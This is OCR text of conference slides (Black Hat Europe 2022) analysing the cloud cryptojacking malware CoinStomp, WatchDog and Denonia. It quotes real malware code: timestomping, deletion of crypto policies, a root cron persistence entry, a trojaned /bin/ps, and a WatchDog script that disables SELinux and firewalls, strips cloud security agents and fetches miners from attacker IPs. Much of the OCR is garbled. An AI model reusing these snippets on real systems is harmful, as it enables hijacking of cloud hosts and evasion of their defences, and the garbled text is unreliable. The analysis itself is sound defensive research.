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Introduction:

CoinStomp: Cloud-native malware with interesting anti-forensics
Watchdog: Recent activities from a familiar name

Denonia: Likely the first malware to target serverless
environments

Conclusion: Final thoughts
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The Cloud Challenge
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Misconfigured services: Docker, Redis etc

Credential theft: IMDS querying, credential exfiltration
Poor permissions management

SSH propagation: lateral movement from compromised
Instance



)

blackhat

EUR0OPE 2022

Cryptojacking still commonplace!
o Considered low-hanging fruit for cloud TAs

o' » m

akeameme .org
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Jonny Platt ,
@jonnyplatt - Follow
& Excited to announce | just received my Christmas

present from @awscloud!

o Horrified to see it's $45,000 in charges due to
some scammer hacking my account + mining Crypto
for the last few weeks

(© Had no sleep last night. It's now 23 hrs since my
support ticket & no reply.
11:18 AM - Dec 14, 2021 ®

G Read the full conversation on Twitter

® 1K @ Reply (2 Copylink

Read 86 replies
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CoinStomp




Specifically targets Asian Cloud Service Providers (CSPs)

Exploits CSP cloud compute resources to mine cryptocurrency

(yawn)

However!

O

O
O
O

Employs timestamp manipulation

Removes system cryptographic policies

C2 communication performed via a reverse shell
References a prior cryptojacking campaign
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CoinStomp: Timestamp Manipulation

12 if [ $7? -eq @ 1; then

13 if test -f /usr/bin/modusr; then

14 _ curl MDOK >/dev/null 2>&1

15 else

16 cp $(grep -1 'Change the mode of each FILE to MODE' /usr/bin/* | sed q) /usr/bin/modusr && touch -t201905202223 /usr/bin/modusr
) 3 fa i ¢

18 if test -f /usr/bin/chusr; then

19 _ curl CHOK >/dev/null 2>&1

20 else

21 cp $(grep -1 'chattr_dir_proc' /usr/bin/* | sed q) /usr/bin/chusr && touch -t201905101113 /usr/bin/chusr
22 fi
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CoinStomp: System Weakening

23 rm -rf /usr/share/*crypto* ; pgrep crypto | xargs -I % kill -9 % l
e /usr/share/*crypto* contains system cryptographic policies
e crypto process interfaces with Linux Kernel Crypto API

o We've yet to see this system weakening technique in other
campaigns

e Please let us know if you have!
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CoinStomp: Foiling Attribution

e Persistence for CoinStomp was achieved via Cron
e Cronjob includes an interesting commented line

241 echo '*¥/2 * * * * pkill tail >/dev/null 2>&1' >cron

242 echo '*/2 * x * * pkill masscan >/dev/null 2>&1' >>cron

243 echo '# https://anonpasta.rocks/raw/atucewakep' >>cron

244 echo '# 205.185.113.151\ |cH10aGOuIC1jICdpbXBvcnQgdXJIsbGli02V4ZWModXIsbGlilnVybGO9wZW40Imh@dHAGLY8YMDUUMTg1LjEXMYy4xXNTEVZC5weSIpLnIlYWQoKSkn' >>cron
245 crontab -u root cron

246 rm -rf cron

http://xanthe.anondns.net:8080/files/fczyo




(sub_4ad200(r12, rsi) == 0x0) {
rbx = & ;
sub_44d5a0(rbx, 0x2,

sub_43a610(rbp, rsi,




b'ggl_(hat

= = 2022




blgck hat

=UJROPE 2022

WatchDog




Prominent cloud-focused adversary group

Known for high-profile cryptojacking campaigns
Active since at least 2019

Opportunistic - exploits misconfigured cloud resources via mass
scanning
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Similar timestomping technique
The most UNIX-y process hider ever!

echo "#!/bin/bash">/bin/ps
echo "ps.lanigiro \$@ | grep -v 'ddns\|scan'" >>/bin/ps
touch —-d 20160825 /bin/ps
chmod a+x /bin/ps
${CHATTR} +i /bin/ps
if [ -x /bin/ps.lanigiro ];then
PS_CMD="/bin/ps. lanigiro"
1
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WatchDog: Steganography
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WatchDog: Steganography

F31E 7FF1 E3EF 8428 D76E D038 X 1887 B172 3739
B3ES 5886 3554 006: 6 2EEF DDBA C
[
F3DE

DooF 178F F265 BEF3 6F9 FBAS A730
EC8A 780 2478 DEG7 @CDB D1A3 7DDS 10DB 89C9 60D DEFF
EF1D 6F53 FE6A 3543 3651 9030 FO7F 98C6 6320 2397 7781
8E21 989A 2932 7380 DFAG DSEC 912A 100D 7B52 9E EB31 1ABE 0148
867F FF87 FF99 061A 3ACS 5281 8490 4177 4869 E04D D984 D918 3EF3
AB4D 9249 C91 FOO1 CAFS @205 GA9D E671 9361 D863 EESC BBEB ES39 DIAD 2453
C8BC 8551 B2D1 6078 CCAB 19A2 F98A 4DF3 E13A G0AF 6A33 BDSC 981C 3130
4855 6062 8906 75FD 4283 FC 9FAD F2F6 AB2D 3COF ABDF 0143
6 4437 E3FE E300 2 AQ50 B409 EAS3
1081 DASA 657 cenc 1887 C45A 680E
3 £9 DASC 4 7884 6 9FF1 BFOD a
ESBA E99A .B*.¥1/bin/sh # . .0ss..
EFBC E488 66: C E keySecret. i if curl htt
2073 2F67 p://ip-api.com/json/ | sed 's/,/\n/g' | grep -i 'CN'; then
666F exit 1 fi setenforce @ 2>dev/null echo SELINUX=disabl
6C69 ed > /etc/sysconfig/selinux 2>/dev/null sync & echo 3 >/pro
726F c/sys/vm/drop_caches crondir='/var/spool/cron/'"SUSER" cont=
6063 6174 202F 7: A 6564 SF 6 ‘cat ${crondir}’ ssht='cat /root/.ssh/authorized_keys' echo
2 2 2 6469 7261 1 > /etc/zzhs rtdir="/etc/zzhs” bbdir="/usr/bin/curl” bbdira
="/usr/bin/cd1® ccdir="/usr/bin/wget" ccdira="/usr/bin/wd1"
mv /usr/bin/curl /usr/bin/url mv /usr/bin/url /usr/bin/cdl m
v /usr/bin/wget /usr/bin/get mv /usr/bin/get /usr/bin/wdl ul
imit -n 65535 rm -rf /var/log/syslog chattr -iua /tmp/ chatt
r -iua /var/tmp/ ufw disable iptables -F #sudo sysctl kernel
.nmi_watchdog=0 echo '@' >/proc/sys/kernel/nmi_watchdog echo
‘kernel.nmi_watchdog=0' >>/etc/sysctl.conf userdel akay use
rdel vfinder rm -rf /tmp/addres® rm -rf /tmp/walle® rm -rf /
tmp/keys if ps aux | grep -i '[alliyun'; then Sbbdir http:
//update.aegis.aliyun.com/download/uninstall.sh | bash  $bb
dir http://update.aegis.aliyun.con/download/quartz_uninstall
.sh | bash Sbbdira http://update.aegis.aliyun.com/download
/uninstall.sh | bash Sbbdira http://update.aegis.aliyun.co
m/download/quartz_uninstall.sh | bash pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis®  systemctl stop aliyun.service
ystemctl disable aliyun.service service bcm-agent stop y
um remove bcm-agent -y  apt-get remove bcm-agent -y elif ps
aux | grep -i '[ylunjing'; then /usr/local/qcloud/stargat
e/admin/uninstall.sh  /usr/local/qcloud/Yun)ing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh fi mine
r_url="http://106.15.74.113/b2f628/2zh" miner_url_backup="ht
tp://104.244.76.33/b2f628/2zh" miner_size="7600464" sh_url="
https://recipt-picture.oss-cn-hongkong.aliyuncs.con/mall-ing
/indexni.png" sh_url_backup="https://guli-edut.oss-cn-shangh
ai.aliyuncs.com/2020/06/04/indexni.png” config_url="http://1
06.15.74.113/b2628/config.json" config_url_backup="http://1
04.244.76.33/b2628/config.json" config_size="2752" chattr_s
ize-"8000" rm -f /tmp/.null 2>/dev/null echo 128 > /proc/sy
s/vm/nr_hugepages sysctl -w vm.nr_hugepages=128 kill_miner_
proc() { netstat -anp | grep 185.71.65.238 | awk '{print $7}
27 ' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 ¥ netstat
2061 -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{
6C6C 2 print $1}' | xargs -I % kill -9 % netstat -anp | grep :443 |

6574
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WatchDog: Hidden-ish Directory

drwx————— 5 ec2-user ec2-user 189 May 23 10:06 .

drwxr-xr-x 3 root root 22 May 17 @9:55 ..

drwxrwxr-x 2 ec2-user ec2-user 20 May 17 14:02 ...

- W 1 ec2-user ec2-user 2043 May 17 16:24 .bash_history
e ' d S ec2-user ec2-user 18 Jul 15 2020 .bash_logout

1
-rw-r-——r-— 1 ec2-user ec2-user 193 Jul 15 2020 .bash_profile
1 ec2-user ec2-user 231 Jul 15 2020 .bashrc

~rW-r——r—-
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if [ -=x "/usr/bin/cd1" -0 —x "/bin/cd1"
if [ =f /bin/cdl ];then
CURL_CMD="/bin/cd1"
elif [ =f /usr/bin/cdl ];then
rt CURL_CMD="/usr/bin/cd1"

if [ =x "“/usr/bin/curl" -o =-x "/bin/curl"
if [ -f /bin/curl ];then
ort CURL_CMD="/bin/curl"
elif [ -f /usr/bin/curl ];then
CURL_CMD="/usr/bin/curl”
fi
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A-denonia
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Golang malware targeting AWS Lambda

(Yet another) crypojacking sample

Unusual address resolution techniques for C2
Cloud-specific knowledge evident

2022/04/01 11:37:21 expected AWS Lambda environment variables
[ LAMBDA SERVER PORT AWS LAMBDA RUNTIME API] are not defined
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Denonia: Introduction

2022/04/01 11:37:21 expected AWS Lambda environment variables
[ LAMBDA SERVER PORT AWS LAMBDA RUNTIME API] are not defined
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GET /resolve?name=gw.denonia.xyz&type=A HTTP/1.1
dns.google.com
GoKit XHTTP Client/90.17.0

application/dns-json
| 1648805839-3066110

gzip
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"gw.denonia.xyz.",
[{ : "gw.denonia.xyz.",
J : )

"116.203.4.0"

"Response from 88.198.229.192."
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s 2.9, :*login”, 4 :"echonet.amd64",
POX :"XMRig/6.15.2 (Linux x86 _64) libuv/1.42.0
gcc/10.3.1", : "echonet.amd64", dlen/1" ;" "¢cn/2", "cn/r’,"ch/fast", cn

/half","cn/xao","cn/rto","cn/rwz","cn/z1s","cn/double”,"cn/ccx”, "cn-1ite/1","c

n

n-heavy/0", "cn-heavy/tube”, "cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","r
x/0","rx/wow","rx/arq", "rx/graft", "rx/sfx", "rx/keva", "argon2/chukwa", "argon2/c

hukwav2","argon2/ninja","astrobwt"]}}




l)hg;;l(liiit

{"jsonrpc":"2.0","id":1,"error":null, "result”:{"id":"486770742656407","job" : {"
blob":"05053ce23c620087c06dc97eae8baftb8cOc67eea22e7375b752b59530ba51eec330bad4
210b2cc799316d4000000041163b7097d00009C570000000Cc00000000000000000000000000000
000", "job_id":"611966654027992","height":6713047, "target":"c5a70000","id" :"486
770742656407" ,"algo" :"gstrobwt"}, "status" :"OK"}}
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loc_B894B09:
eax

, var_main_init_©@_funcl_NEW_THREAD
runtime_newproc ; execute in new thread
eax,
rbx, var_main_init_@_func2_NEW_THREAD
runtime_newproc ; execute in new thread
eax, eax
rbx, var_main_init_@_func3_NEW_THREAD
runtime_newproc ; execute in new thread

me_Sleep
rax, pathToConfig+

os_Remove ; config file deleted?

R:)

rbp, [rsp+ +val

sp,




blg}ok hat

.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060
.rodata:000... 00000060

OW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36\"GET /images/jord
an-80.png HTTP/1.1\" 304 - \"http://www.semicomplete.com/articles/ppp-over-ssh)\" \"Mozilla/4.0 (com
patible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3)\"GET /presentations/logstash-monitorama-2013/css/r
eveal.min.css HTTP/1.1\" 200 23581 \"http://semicomplete.com/presentations/logstash-monitorama-201
3\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.102
Safari/537.36\"GET /projects/keynav/keynav.html HTTP/1.1\" 200 191 \"http://www.semicomplete.com/p
rojects/keynav/\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.6+ (KHTML, like Gecko) Chromiu
m/23.0.1271.95 Chrome/23.0.1271.95 Safari/537.6+ dwb/commit 2014-02-16 6ee2b9e\"GET /presentation
sflogstash-puppetconf-2013/images/bonsail.png HTTP/1.1\" 304 - \"http://semicomplete.com/presentat
ionsflogstash-puppetconf-2013/\" \"Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/32.0.1700.107 Safari/537.36\"GET /presentations/logstash-preso-1.0/images/nagi
os-smsd.png HTTP/1.1\" 200 72949 \"http://www.semicomplete.com/presentations/logstash-preso-1.0/\"
\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107
Safari/637.36\"GET /presentations/logstash-preso-1.0/images/alarm-clock.jpg HTTP/1.1\" 200 10645
\"http://www.semicomplete.com/presentations/logstash-preso-1.0\" \"Mozilla/5.0 (Windows NT 6.1; WO

OO0O00000000O00O00O0O0O00O00O0O0







Unit42: “IAM Your Defense Against Cloud Threats”

Lacework: “How Watchdog smuggles malware into your network
as uninteresting photos”

Netlab360: “Abcbot, an evolving botnet”

Anomali: “Rocke Evolves Its Arsenal With a New Malware Family
Written in Golang”



Cado Security: “WatchDog Continues to Target East Asian CSPs”

Cado Security: “Cado Discovers Denonia: The First Malware
Specifically Targeting Lambda”

Cado Security: “Tales From the Honeypot: WatchDog Evolves
With a New Multi-Stage Cryptojacking Attack”

Cado Security: “CoinStomp Malware Family Targets Asian Cloud
Service Providers”



Currently, cloud-focused malware campaigns are lacking in
technicality but are effective

The success of these campaigns depends heavily on mistakes
made by customers of CSPs

Cloud TAs are becoming more sophisticated, cryptojacking may
cease to be the main objective for these groups



